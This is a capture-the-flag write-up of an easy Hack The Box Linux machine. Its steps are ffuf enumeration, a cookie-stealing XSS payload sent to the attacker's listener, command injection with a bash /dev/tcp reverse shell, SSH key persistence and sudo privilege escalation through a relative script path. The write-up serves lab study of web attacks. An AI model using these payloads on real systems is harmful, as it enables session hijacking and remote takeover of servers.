HTB; Linux; Easy 10.129.227.151
TL;DR, the server is vulnerable to XXS injection and the cookie is not set to HttpOnly. For the privilege escalation, try sudo -l.
Initial Enumeration
Initial port scan showed open ports are 22 and 5000
- 22 should be boring as hell, we’ll leave it alone
- 5000, is a site where you can ask questions
Doing the directory enumeration with FFUF
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.129.232.215:5000/FUZZ -mc all -ac
Found only two paths, /dashboard and /support
Go to dashboard will get blocked due to the authentication issue. If we take a look of the headers, the cookie part seems exploitable
I tried to base64 encode “admin” and replace the “user” part in the cookie, but it’s not working.
Initial Foothold
It looks like the breakthrough point is the /support directory. After some attempts, I found that the message text column is vulnerable to XXS injection
ffuf -w /usr/share/wordlists/seclists/Fuzzing/XSS/human-friendly/XSS-BruteLogic.txt -u http://10.129.232.215:5000/support -X POST -d "fname=123&lname=123&email=hello%40123.com&phone=123&message=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -mc all -ac
Let’s try it at the page
The response page will display the headers of the XXS injection request
Try to add an customized header sample:display and send the XXS injection again, found that the sample:display header is also displayed. We may be able to achieve the admin’s cookie.
Before we steal the admin’s cookie, need to check if the cookie has the HttpOnly and Secure disabled.
So the cookie has a few settings, I did a few research on OWASP https://owasp.org/www-community/HttpOnly?form=MG0AV3
- HttpOnly is set to false, which allows the cookie to be accessed through client side script. If it’s set to True, then the cookie is not accessible through XXS, but one condition is that the browser has to support with HttpOnly.
- Secure is set to false, the Cookie has to be transferred between two parties with HTTPS protocol.
Now, set up a python HTTP server at Kali, and then inject the following XXS into the sample header
sample: display<script> document.location = "http://10.10.14.60/?cookie=" + document.cookie; </script>
Got the admin’s cookie: ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
At the dashboard page, it’s quite plain. I tried to use ; to inject the command, and it worked, pure luck.
I used the one line reverse shell code, this is by far my favorite one line reverse shell.
- date=2023-09-22;/bin/bash%20-c%20’bash%20-i%20%3E%26%20/dev/tcp/<ip address>/<port>%200%3E%261′
Privilege Escalation
Once we are in as the dvir user, the first thing I did is to create a more persistent access, which is adding the ssh public key to its /home/dvir/.ssh/authorized_keys folder, then connect with the ssh
- ssh -i id_rsa divr@target_ip_addr
Then using sudo -l, showed that we are allowed to run /usr/bin/syscheck with sudo, no password required
Take a look inside of /usr/bin/syscheck, I used strings /usr/bin/syscheck, it turned out that this is a bash script
The key part is these few lines
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it…"
./initdb.sh 2>/dev/null
Literally the script will look for initdb.sh in the running process, if there is no running process, then it will call initdb.sh locally. This makes things very easy. We could go to /tmp folder, and create an initdb.sh script with following content
Then call for /tmp/bash -p, we will be root in this case. Problem Solved.